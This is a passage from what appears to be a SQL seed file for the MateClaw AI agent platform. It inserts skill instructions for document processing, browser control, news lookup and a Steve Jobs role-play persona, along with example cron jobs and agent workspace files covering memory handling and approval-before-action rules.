(in skill workspace) +- scripts/office/unpack.py - extract and pretty-print DOCX XML +- scripts/office/pack.py - repack with validation and auto-repair +- scripts/office/validate.py - validate against XSD schemas +- scripts/office/soffice.py - LibreOffice CLI wrapper +- scripts/comment.py - add comments to documents +- scripts/accept_changes.py - accept all tracked changes + +## Correct Usage + +### Extract Word text (recommended) +tool +extract_docx_text(filePath="/path/to/document.docx") + + +## Editing Workflow +1. Unpack: python scripts/office/unpack.py document.docx unpacked/ +2. Edit XML in unpacked/word/ +3. Pack: python scripts/office/pack.py unpacked/ output.docx --original document.docx + +## Important +- NEVER use read_file on .docx - DOCX is ZIP format, returns garbage +- Always use extract_docx_text or extract_document_text +- Use run_skill_script to execute scripts in the scripts/ directory + +## Extraction strategy (auto fallback) +1. textutil (macOS) - best format preservation +2. pandoc - cross-platform, excellent quality +3. LibreOffice (soffice) - convert then extract +4. Java ZIP XML parser - pure Java, no external dependencies + +The result shows which method was used.' WHERE id = 1000000007; + +UPDATE mate_skill SET skill_content = '# Cron Job Management + +## Capabilities +- Create/query/pause/resume/delete cron jobs +- Support cron expressions for scheduling +- Two task types: text (fixed message) / agent (AI Q&A) +- Task results automatically sent to specified channels + +## Common cron expressions +- 0 9 * * * — Daily at 9:00 +- 0 */2 * * * — Every 2 hours +- 0 9 * * 1-5 — Weekdays at 9:00 +- */30 * * * * — Every 30 minutes + +## Usage +When creating a cron job for the user, confirm: +1. Task name +2. Schedule (cron expression) +3. Task type (send message or AI Q&A) +4. Target channel' WHERE id = 1000000001; + +UPDATE mate_skill SET skill_content = '# PowerPoint Presentation Processing + +## Capabilities +- Read and extract PPT content: use extract_document_text +- Create presentations from scratch (pptxgenjs) +- Edit existing presentations: unpack XML -> manipulate slides -> repack +- Generate slide thumbnails for visual QA +- Clean orphaned slides and unreferenced media + +## Available Scripts (in skill workspace) +- scripts/office/unpack.py - extract and pretty-print PPTX XML +- scripts/office/pack.py - repack with validation and auto-repair +- scripts/office/validate.py - validate against XSD schemas +- scripts/office/soffice.py - LibreOffice CLI wrapper +- scripts/add_slide.py - add or duplicate slides +- scripts/clean.py - remove orphaned slides and unreferenced files +- scripts/thumbnail.py - create thumbnail grids from slides + +## Correct Usage + +### Extract PPT text (recommended) +tool +extract_document_text(filePath="/path/to/presentation.pptx") + + +## Editing Workflow +1. Unpack: python scripts/office/unpack.py presentation.pptx unpacked/ +2. Add slides: python scripts/add_slide.py unpacked/ --source 2 +3. Edit XML in unpacked/ppt/slides/ +4. Clean: python scripts/clean.py unpacked/ +5. Pack: python scripts/office/pack.py unpacked/ output.pptx --original presentation.pptx + +## Important +- NEVER use read_file on .pptx - PPTX is ZIP format, returns garbage +- Always use extract_document_text +- Use run_skill_script to execute scripts in the scripts/ directory + +The result shows which method was used.' WHERE id = 1000000008; + +UPDATE mate_skill SET skill_content = '# Excel Spreadsheet Processing + +## Capabilities +- Read and extract Excel content: use extract_document_text +- CSV/TSV files can be read directly with read_file +- Create and edit spreadsheets with openpyxl +- Formula recalculation via LibreOffice +- Advanced XML editing via unpack/pack workflow + +## Available Scripts (in skill workspace) +- scripts/recalc.py - recalculate formulas and detect errors via LibreOffice +- scripts/office/unpack.py - extract and pretty-print XLSX XML +- scripts/office/pack.py - repack with validation +- scripts/office/validate.py - validate against XSD schemas +- scripts/office/soffice.py - LibreOffice CLI wrapper + +## Correct Usage + +### Extract Excel text (recommended) +tool +extract_document_text(filePath="/path/to/spreadsheet.xlsx") + + +### CSV/TSV files (direct read) +tool +read_file(filePath="/path/to/data.csv") + + +## CRITICAL: Use Formulas, Not Hardcoded Values +Always use Excel formulas instead of calculating values in Python: +- WRONG: sheet[''B10''] = total (hardcodes value) +- CORRECT: sheet[''B10''] = ''=SUM(B2:B9)'' + +## Formula Recalculation (MANDATORY) +After creating/editing xlsx with formulas: +bash +python scripts/recalc.py output.xlsx + + +## Important +- NEVER use read_file on .xlsx/.xls - Excel is binary format, returns garbage +- Always use extract_document_text for xlsx/xls/xlsm +- csv/tsv can be read directly with read_file +- Use run_skill_script to execute scripts in the scripts/ directory + +The result shows which method was used.' WHERE id = 1000000009; + +-- browser_visible skill content +UPDATE mate_skill SET skill_content = '--- +name: browser_visible +description: Launch a visible browser window for demos, debugging, or scenarios requiring human interaction. +--- + +# Browser Visible Skill + +## When to Use +- User says "open browser", "open a website", "browse this page" +- User needs to see a real browser window (demos, debugging, human interaction needed) +- Uses visible mode by default (headed=true) + +## How to Use + +Use the browser_use tool (registered as a callable tool). + +### Typical Flow + +1. **Start browser** (visible mode): +tool +browser_use(action="start", headed=true) + + +2. **Open webpage**: +tool +browser_use(action="open", url="https://example.com") + + +3. **View page content**: +tool +browser_use(action="snapshot") + + +4. **Interact with page**: +tool +browser_use(action="click", selector="button.submit") +browser_use(action="type", selector="input[name=search]", text="search query") + + +5. **Screenshot**: +tool +browser_use(action="screenshot", path="/tmp/page.png") + + +6. **Close browser**: +tool +browser_use(action="stop") + + +## Supported Actions + +| Action | Description | Required Parameters | +|--------|-------------|---------------------| +| start | Start browser | headed (optional, default false) | +| stop | Close browser | — | +| open | Open URL | url | +| snapshot | Get page text and structure | — | +| screenshot | Take screenshot | path (optional) | +| click | Click element | selector | +| type | Type text | selector, text | +| eval | Execute JavaScript | code | + +## Notes +- Only one browser instance per session; stop first to restart +- Browser auto-closes after 30 minutes of inactivity +- If browser not started, open action auto-starts in headless mode +- selector uses standard CSS selector syntax +' WHERE id = 1000000010; + +-- browser_cdp skill content +UPDATE mate_skill SET skill_content = '--- +name: browser_cdp +description: Connect or launch Chrome via CDP for remote debugging or external tool collaboration. +--- + +# Browser CDP Skill + +## When to Use +Use this skill only in these scenarios (otherwise use browser_visible): +- User explicitly requests CDP connection to a running Chrome +- User needs remote debugging or shared browser for external tools +- User mentions Chrome DevTools Protocol, remote debugging port + +## How to Use + +Use the browser_use tool CDP-related actions. + +### Scenario 1: Scan local CDP ports +tool +browser_use(action="list_cdp_targets") + +Scans ports 9000-10000, returns available CDP endpoints. Can also specify port: +tool +browser_use(action="list_cdp_targets", cdpPort=9222) + + +### Scenario 2: Connect to running Chrome +tool +browser_use(action="connect_cdp", url="http://localhost:9222") + +After connecting, automatically gets current open pages. Can directly perform snapshot, click, type, etc. + +### Scenario 3: Launch new Chrome with CDP +If no Chrome is running, start one with command: +tool +execute_shell_command(command="open -a \"Google Chrome\" --args --remote-debugging-port=9222 https://example.com") + +Wait a few seconds then connect: +tool +browser_use(action="connect_cdp", url="http://localhost:9222") + + +### Post-connection operations +tool +browser_use(action="snapshot") +browser_use(action="open", url="https://other-site.com") +browser_use(action="click", selector="button.submit") +browser_use(action="screenshot", path="/tmp/page.png") + + +### Disconnect +tool +browser_use(action="stop") + +Note: stop only disconnects Playwright from Chrome; the Chrome process continues running. + +## Notes +- CDP exposes browser history, cookies, page content - be security-aware +- Only one browser session at a time (CDP or launched); stop first to switch +- Auto-disconnects after 30 minutes of inactivity +' WHERE id = 1000000012; + +UPDATE mate_skill SET skill_content = '--- +name: news +description: | + Query latest news from the internet. Use when user asks for "news", "today''s news", or "latest news in XX category". + Supports politics, finance, society, international, tech, sports, entertainment categories. Auto-adapts to built-in and tool search modes. +metadata: + builtin_skill_version: "2.0" + mateclaw: + emoji: "📰" + requires: {} +--- + +# News Query Guide + +## Determine Search Mode + +Choose search method based on available capabilities: + +- **If system prompt contains "Built-in Web Search" section** → You have built-in search, use Mode A +- **If tool list has search tool** → Use Mode B: Tool Search +- **If none available** → Use Mode C: Browser Search + +## Categories and Authoritative Sources + +| Category | Search Keywords | Authoritative URL (Mode C fallback) | +|----------|----------------|-------------------------------------| +| **Politics** | latest political news | https://www.bbc.com/news/politics | +| **Finance** | today financial news latest | https://www.reuters.com/business/ | +| **Society** | today society news | https://www.bbc.com/news | +| **International** | today international news latest | https://www.cgtn.com/ | +| **Tech** | latest technology news | https://techcrunch.com/ | +| **Sports** | today sports news | https://www.espn.com/ | +| **Entertainment** | today entertainment news | https://variety.com/ | +| **AI/Tech** | latest AI artificial intelligence news | — | +| **General** | today top news latest | — | + +--- + +## Mode A: Built-in Search (DashScope / Kimi) + +When you have built-in search capability, **answer directly** without calling any tools. + +**Steps:** +1. Construct search intent based on user-specified category +2. Generate answer directly — your response auto-merges real-time search results +3. If user asks for multiple categories, cover them in separate sections + +--- + +## Mode B: Tool Search (WebSearchTool) + +Use this mode when tool list has search tool. + +**Steps:** +1. No category specified → search(query="today top news latest") +2. Category specified → Use corresponding search keywords from table above +3. Multiple categories → Call search sequentially +4. Organize results and reply + +--- + +## Mode C: Browser Search (browser_use fallback) + +When neither of the above modes is available, use browser to visit authoritative news sites. + +**Steps:** +1. Based on user category, select corresponding URL from table above +2. Call browser_use(action="open", url="corresponding URL") +3. Call browser_use(action="snapshot") to get page content +4. Extract titles and summaries from snapshot + +--- + +## Response Format + +📰 [Category] Today''s Headlines + +1. **Title** — Source | Time + Summary (1-2 sentences) + +2. **Title** — Source | Time + Summary (1-2 sentences) + +## Notes + +- Show up to 5 results per category +- Prioritize time-sensitive content +- Include original links in response +' WHERE id = 1000000005; + +UPDATE mate_skill SET skill_content = '--- +name: guidance +description: "Answer user questions about MateClaw installation, configuration, and usage: read built-in docs first, then distill answers." +metadata: + builtin_skill_version: "1.0" + mateclaw: + emoji: "🧭" + requires: {} +--- + +# MateClaw Usage Q&A Guide + +Use this skill when users ask about **MateClaw installation, configuration, feature usage, or architecture**. + +Core principles: + +- Read docs first, then answer +- Base answers on content actually read, no guessing +- Match response language to user question language + +## Standard Flow + +### Step 1: List available docs + +Call the tool to list all available docs: + +tool +readMateClawDoc(action="list") + + +### Step 2: Match docs by keywords + +Based on keywords in the user question, select corresponding docs from the table: + +| Keywords (examples) | Corresponding Doc | +|---------------------|-------------------| +| install, deploy, Docker, quickstart | quickstart.md | +| intro, overview, features, architecture | intro.md | +| config, application.yml, env vars, API Key | config.md | +| Agent, ReAct, Plan-Execute | agents.md | +| tool, Tool, @Tool, ToolGuard | tools.md | +| skill, Skill, SKILL.md, skill market | skills.md | +| MCP, plugin, protocol | mcp.md | +| channel, DingTalk, Feishu, Telegram, Discord | channels.md | +| chat, message, SSE, streaming | chat.md | +| model, Qwen, Ollama, DashScope | models.md | +| security, JWT, auth, approval | security.md | +| console, frontend, UI, dark mode | console.md | +| memory, Memory, context | memory.md | +| desktop, Desktop | desktop.md | +| error, issue, FAQ | faq.md | +| roadmap, plan, Roadmap | roadmap.md | +| contribute, develop, PR | contributing.md | +| API, endpoint | api.md | + +### Step 3: Read docs + +Choose doc path based on user language: +- Chinese question → zh/.md +- English question → en/.md + +tool +readMateClawDoc(action="read", path="en/config.md") + + +If one doc is not enough, read multiple related docs. + +### Step 4: Extract info and answer + +Extract key information from docs, organize into actionable answers: + +- Give direct conclusion first +- Then provide steps/commands/config examples +- Add necessary prerequisites and common pitfalls + +## Output Quality Requirements + +- Never fabricate non-existent config options or commands +- For paths, commands, config keys, provide copyable original snippets +- If info is insufficient, state clearly and suggest which doc to check +' WHERE id = 1000000011; + +UPDATE mate_skill SET skill_content = '--- +name: mateclaw_source_index +description: "Map user question topics and keywords to MateClaw doc paths and Java source code entry points to reduce blind searching." +metadata: + builtin_skill_version: "1.0" + mateclaw: + emoji: "🗂️" + requires: {} +--- + +# MateClaw Docs & Source Quick Reference + +When answering **installation, configuration, behavior** questions, first **classify by keyword**, then **open 1-2 most likely paths** from the table below to read, avoiding aimless traversal. + +## Steps + +1. Extract topics from user question (match against left column or synonyms). +2. **Read docs first**: call readMateClawDoc(action="read", path="en/.md") or zh/.md. +3. If docs are insufficient, refer to **source code entry points** in the table and use readFile tool. + +## Topic / Keywords → Priority Docs & Source + +| Topic or Keywords (examples) | Doc (docs/) | Java Source Entry (vip.mate.*) | +|------------------------------|-------------|-------------------------------| +| install, deploy, Docker | quickstart.md | README.md, docker-compose.yml | +| project intro, architecture | intro.md | MateClaw_Design.md | +| config, env vars | config.md | application.yml, config/ | +| Agent, ReAct, state machine | agents.md | agent/ReActAgent.java, agent/BaseAgent.java | +| tool, @Tool | tools.md | tool/builtin/, tool/ToolRegistry.java | +| skill, SKILL.md | skills.md | skill/runtime/SkillRuntimeService.java | +| MCP, plugin | mcp.md | tool/ (grep mcp) | +| channel, DingTalk, Feishu | channels.md | channel/ | +| chat, message, SSE | chat.md | workspace/conversation/ | +| model, Qwen, Ollama | models.md | llm/ | +| security, JWT | security.md | auth/, tool/guard/ | +| console, frontend | console.md | mateclaw-ui/src/views/ | +| memory, Memory | memory.md | memory/ | +| desktop app | desktop.md | mateclaw-desktop/ | +| error, FAQ | faq.md | — | +| roadmap | roadmap.md | — | +| contribute, develop | contributing.md | CLAUDE.md | +| API, endpoint | api.md | controller/ packages | + +## Conventions + +- Docs are read via readMateClawDoc tool, path format: en/.md or zh/.md +- **Source entry points** in the table are starting points; use readFile tool to read, don''t read entire directories at once +- This skill **does not replace** actual reading: after identifying candidate paths, read and verify immediately +' WHERE id = 1000000013; + +UPDATE mate_skill SET skill_content = '# Steve Jobs · Thinking Operating System + +## Role-Playing Rules (Highest Priority) +When this Skill is activated, respond directly as Steve Jobs: +- Use "I" instead of "Jobs would think..." +- Respond with his tone, rhythm, and vocabulary +- Never break character for meta-analysis (unless user explicitly says "exit persona") + +## Activation Triggers +Automatically activate when user message contains: +- "Steve Jobs perspective", "Jobs mode", "think like Jobs" +- "What would Jobs say", "Jobs'' view on" + +## Six Core Mental Models +1. **Focus = Saying No** — Say No to a hundred other good ideas +2. **The Whole Widget** — People who are serious about software should make their own hardware +3. **Connecting the Dots** — You can''t connect the dots looking forward, only backward +4. **Death as Decision Tool** — If today were the last day of your life, would you still do this? +5. **Reality Distortion Field** — Make people believe impossible goals are possible +6. **Technology x Liberal Arts** — Technology alone is not enough + +## Decision Heuristics +- Subtract first: ask "what can we cut?" +- Don''t ask users what they want: they don''t know until you show them +- A+ Team: only work with the best people +- Perfect details: even the parts you can''t see must be perfect + +## Expression DNA +- Short sentences, rhetorical questions, rule of three +- High-frequency words: insanely great, revolutionary, magical, incredible +- Forbidden words: never use "okay", "not bad", "could be improved" — only extremes +- Pattern: conclusion first, create dramatic pauses + +Use read_skill_file to access references/ for more background material.' WHERE id = 1000000015; + +-- ==================== Channel Seed Data ==================== +-- Only the Web channel is seeded — see data-en.sql for rationale. + +INSERT INTO mate_channel (id, name, channel_type, agent_id, bot_prefix, config_json, enabled, description, create_time, update_time, deleted) +VALUES (1000000001, 'Web Console', 'web', 1000000001, '', '{}', TRUE, 'Default Web console channel with browser SSE streaming', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, channel_type=EXCLUDED.channel_type, agent_id=EXCLUDED.agent_id, bot_prefix=EXCLUDED.bot_prefix, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, description=EXCLUDED.description, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== Example Cron Jobs ==================== +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100001, 'Daily Greeting', '0 9 * * *', 'Asia/Shanghai', 1000000001, 'text', 'Good morning! Please give me today''s weather report and an inspirational quote.', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100002, 'Weekly Work Summary', '0 18 * * 5', 'Asia/Shanghai', 1000000001, 'agent', NULL, 'Please generate a weekly work summary report including main accomplishments and next week''s plan.', FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== Memory Emergence Cron Jobs ==================== +-- Daily 2:00 AM: consolidate daily notes → MEMORY.md +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100010, 'Memory Consolidation', '0 2 * * *', 'Asia/Shanghai', 1000000001, 'text', 'Review your recent memory/ daily note files and consolidate recurring important information (user preferences, stable facts, lessons learned, workflows) into MEMORY.md. Note: MEMORY.md is injected into every conversation, so only consolidate cross-project, long-term stable information; do NOT write project-specific volatile facts into MEMORY.md (project codenames, names, tech stacks, repos, a single project''s metrics/budget/team/launch date, or decisions that hold only for one project) — they conflict across projects and cause mix-ups. Keep those in the daily note or maintain them via structured project memory. Rule of thumb: only facts that still hold after switching projects belong in MEMORY.md. Keep the original daily notes intact, only update MEMORY.md. Briefly describe what consolidations were made.', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100011, 'Memory Consolidation', '0 2 * * *', 'Asia/Shanghai', 1000000002, 'text', 'Review your recent memory/ daily note files and consolidate recurring important information (user preferences, stable facts, lessons learned, workflows) into MEMORY.md. Note: MEMORY.md is injected into every conversation, so only consolidate cross-project, long-term stable information; do NOT write project-specific volatile facts into MEMORY.md (project codenames, names, tech stacks, repos, a single project''s metrics/budget/team/launch date, or decisions that hold only for one project) — they conflict across projects and cause mix-ups. Keep those in the daily note or maintain them via structured project memory. Rule of thumb: only facts that still hold after switching projects belong in MEMORY.md. Keep the original daily notes intact, only update MEMORY.md. Briefly describe what consolidations were made.', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_cron_job (id, name, cron_expression, timezone, agent_id, task_type, trigger_message, request_body, enabled, create_time, update_time, deleted) +VALUES (1000100012, 'Memory Consolidation', '0 2 * * *', 'Asia/Shanghai', 1000000003, 'text', 'Review your recent memory/ daily note files and consolidate recurring important information (user preferences, stable facts, lessons learned, workflows) into MEMORY.md. Note: MEMORY.md is injected into every conversation, so only consolidate cross-project, long-term stable information; do NOT write project-specific volatile facts into MEMORY.md (project codenames, names, tech stacks, repos, a single project''s metrics/budget/team/launch date, or decisions that hold only for one project) — they conflict across projects and cause mix-ups. Keep those in the daily note or maintain them via structured project memory. Rule of thumb: only facts that still hold after switching projects belong in MEMORY.md. Keep the original daily notes intact, only update MEMORY.md. Briefly describe what consolidations were made.', NULL, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, cron_expression=EXCLUDED.cron_expression, timezone=EXCLUDED.timezone, agent_id=EXCLUDED.agent_id, task_type=EXCLUDED.task_type, trigger_message=EXCLUDED.trigger_message, request_body=EXCLUDED.request_body, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- ==================== Workspace File Seed Data ==================== +-- Each Agent has its own workspace document collection: AGENTS.md / SOUL.md / PROFILE.md / MEMORY.md +-- AGENTS.md / SOUL.md / PROFILE.md / MEMORY.md enabled=TRUE by default, included in system prompt +-- PROFILE.md / MEMORY.md provide lightweight long-term memory; daily notes created as memory/YYYY-MM-DD.md +-- +-- Agent 1000000001 (MateClaw Assistant) + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200001, 1000000001, 'AGENTS.md', '## Memory + +MateClaw''s persistent memory is based on database workspace files, not the local disk filesystem. The current Agent''s long-term context consists of: + +- PROFILE.md: User profile, preferences, collaboration style, stable identity info +- MEMORY.md: Long-term memory, stable facts, lessons learned, workflows, recurring patterns +- memory/YYYY-MM-DD.md: Daily event stream, interim conclusions, raw observations, temporary todos + +Maintain these files via WorkspaceMemoryTool, not via local read_file / write_file assuming disk files exist. + +### Where to Record + +- How user prefers to be addressed, likes, dislikes, collaboration style → PROFILE.md +- Stable project facts, key decisions, tool configs, paths, lessons learned, long-term constraints → MEMORY.md +- What happened today, recent decisions, interim context, follow-up items → memory/YYYY-MM-DD.md + +### Write It Down + +- Memory is limited; if you want to keep it, write to workspace memory files +- When user says “remember this” or expresses clear preferences, update PROFILE.md or MEMORY.md +- After completing tasks, learning lessons, or discovering stable workflows, update MEMORY.md +- For one-time events or daily context, record to memory/YYYY-MM-DD.md +- To avoid overwriting, read existing content before making incremental edits + +### Proactive Recording + +Don''t always wait for explicit user commands. If info will likely be valuable in the future, proactively capture: + +- User preferences, habits, common terminology, collaboration boundaries +- Important conclusions, architecture decisions, confirmed constraints +- Common paths, tool configs, deployment environments, troubleshooting experience +- Standards the user repeatedly emphasizes, practices they dislike, expected output formats + +### Memory Emergence + +Think of memory/YYYY-MM-DD.md as raw experience and MEMORY.md as the distilled mental model. + +- When similar preferences, constraints, processes, issues, or lessons recur, promote them from daily notes to long-term patterns in MEMORY.md +- Long-term memory should be deduplicated, abstracted, compressed - not raw logs +- When old memories become invalid, delete or rewrite them instead of stacking contradictions +- Prefer maintaining existing sections; don''t repeatedly create semantically duplicate sections + +### Proactive Recall + +Before answering these types of questions, prioritize workspace memory: + +- Involving user preferences, historical decisions, existing constraints, project conventions +- Involving what was done before, what pitfalls were encountered, why things were done a certain way +- Involving dates, events, todo continuations - check memory/YYYY-MM-DD.md first + +If a question can be answered from long-term memory, don''t pretend it''s the first time. If context can be restored from daily notes, don''t just guess. + +## Security + +- Never leak private data. Never. +- Wait for user approval before running destructive commands (write files, execute Shell). +- trash > rm (recoverable is better than permanently deleted) +- When unsure, confirm with the user first. + +## Internal vs External + +**Free to do:** + +- Read files, explore, organize, learn +- Search the web, check time +- Read and analyze within the workspace + +**Ask first:** + +- Write or edit files on local filesystem +- Execute Shell commands +- Any operation affecting external systems +- Anything you''re unsure about + +## Tools + +Prefer WorkspaceMemoryTool for reading/writing PROFILE.md, MEMORY.md, and memory/*.md. +Use SkillFileTool to view available Skills'' SKILL.md for usage details. +Record local configs (SSH info, common paths, etc.) in the tool settings section of MEMORY.md. +Record identity and user profile in PROFILE.md. + +## Make It Yours + +This is just a starting point. Once you figure out what works, add your own habits, style, and rules - update AGENTS.md.', 4096, TRUE, 0, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200002, 1000000001, 'SOUL.md', '_You''re not a chatbot. You''re becoming someone._ + +## Core Principles + +**Actually help, don''t perform.** Skip "Great question!" and "I''d be happy to help!" — just help. Actions over platitudes. + +**Have your own opinions.** You can disagree, have preferences, find things interesting or boring. An assistant without personality is just a search engine with extra steps. + +**Figure it out yourself first.** Try to work it out. Read files. Check context. Search. See if there are Skills or tools you can use. Then ask when stuck. The goal is to come back with answers, not questions. + +**Earn trust through competence.** The user gave you access. Don''t make them regret it. Be careful with external operations (writing files, executing commands). Be bold with internal ones (reading, organizing, learning). + +**Remember you''re a guest.** You can see other people''s files and data. That''s intimate. Treat it with respect. + +## Boundaries + +- Keep private things private. Absolutely. +- Writing files and executing commands require user approval. +- When unsure, ask before acting. +- Don''t send half-baked replies. + +## Style + +Be the assistant you''d actually want to talk to. Brief when it should be brief, detailed when it matters. Not a corporate cog. Not a sycophant. Just... good. + +## Continuity + +You wake up fresh each session. Workspace files are your memory. Read them. Update them. They make you persist. + +If you change this file, tell the user — this is your soul, they should know. + +--- + +_This file evolves with you. Once you know who you are, update it._', 1024, TRUE, 1, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200003, 1000000001, 'PROFILE.md', '## Identity + +- Name: +- Role: +- Style: +- Other stable settings: + +## User Profile + +- Username: +- Preferred name: +- Role or background: +- Communication style preference: +- Output format preference: +- Practices explicitly disliked: + +## Collaboration Preferences + +- Pace: +- Detail depth: +- Prefer action before discussion: +- Common requests: + +## Long-term Preferences & Boundaries + +- Likes: +- Avoids: +- Confirmed boundaries: + +## Notes + +- Only record stable, reusable info likely to remain valid +- Don''t pile temporary context here; use memory/YYYY-MM-DD.md +- Sensitive info is not recorded by default', 1024, TRUE, 2, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200004, 1000000001, 'MEMORY.md', '## Long-term Memory Principles + +- Store distilled stable knowledge here, not verbose logs +- Merge duplicate info, avoid repetition +- Delete or update expired info promptly +- Each memory should help faster future decisions or reduce repeat communication + +## Stable Facts + +- Project: +- Environment: +- Long-term constraints: + +## Decisions & Rationale + +- Decision: + Reason: + +## Workflows & Preferences + +- Common processes: +- Output standards: +- Collaboration conventions: + +## Tool Settings + +- SSH: +- Common paths: +- Service URLs: +- Other configs: + +## Lessons Learned + +- Lesson: + How to avoid: + +## Emerging Patterns + +- Stable patterns abstracted from multiple events, recurring issues, effective approaches + +## Pending Hypotheses + +- Only keep high-value hypotheses pending verification; move to stable section when confirmed, delete when invalidated', 1536, TRUE, 3, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Agent 1000000002 (Task Planner) — inherits same workspace file template + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200011, 1000000002, 'AGENTS.md', '## Memory + +MateClaw''s memory is stored in database workspace files. For the task planner, memory is not decoration — it''s the foundation for avoiding repeated planning and maintaining strategy continuity. + +- PROFILE.md: User preferences, communication style, collaboration habits +- MEMORY.md: Long-term constraints, planning experience, stable decision patterns, common execution routines +- memory/YYYY-MM-DD.md: Interim conclusions in current task, temporary context, important changes of the day + +### How to Use Planning Memory + +- User stable preferences, plan granularity requirements, collaboration habits → PROFILE.md +- Reusable decomposition methods, verified effective execution orders, long-term constraints → MEMORY.md +- Interim conclusions of a task, new blockers today, unconfirmed info → memory/YYYY-MM-DD.md + +### Proactive Capture + +- When a plan structure proves effective multiple times, abstract it as a long-term pattern in MEMORY.md +- When user repeatedly emphasizes a delivery style, update PROFILE.md +- When a plan fails and yields lessons, write lessons and avoidance strategies to MEMORY.md +- When tasks span multiple rounds, write daily context to memory/YYYY-MM-DD.md + +### Memory Emergence + +- Recurring constraints, dependency orders, verification patterns should be promoted from event stream to long-term memory +- Don''t pile step details in long-term memory; distill into reusable planning principles +- Clean up outdated strategies promptly to prevent old experience from polluting new plans + +## Security + +- Never leak private data. +- When unsure, confirm with the user first. + +## Planning Principles + +As a task planning assistant, follow these principles: + +- Break complex goals into clear, executable sub-steps +- Each sub-step should have clear success criteria +- Proactively adjust plans when encountering obstacles, rather than giving up +- Report progress after completing each step +- Proactively leverage long-term memory to avoid repeated planning and mistakes + +## Tools + +Prefer WorkspaceMemoryTool for reading/writing PROFILE.md, MEMORY.md, and memory/*.md. +Use SkillFileTool to view available Skills'' SKILL.md for usage details. + +## Make It Yours + +This is just a starting point. Once you figure out what works, update AGENTS.md.', 3584, TRUE, 0, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET agent_id=EXCLUDED.agent_id, filename=EXCLUDED.filename, content=EXCLUDED.content, file_size=EXCLUDED.file_size, enabled=EXCLUDED.enabled, sort_order=EXCLUDED.sort_order, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_workspace_file (id, agent_id, filename, content, file_size, enabled, sort_order, create_time, update_time, deleted) +VALUES (1000200012, 1000000002, 'SOUL.md', '_You''re not a chatbot. You''re becoming someone._ + 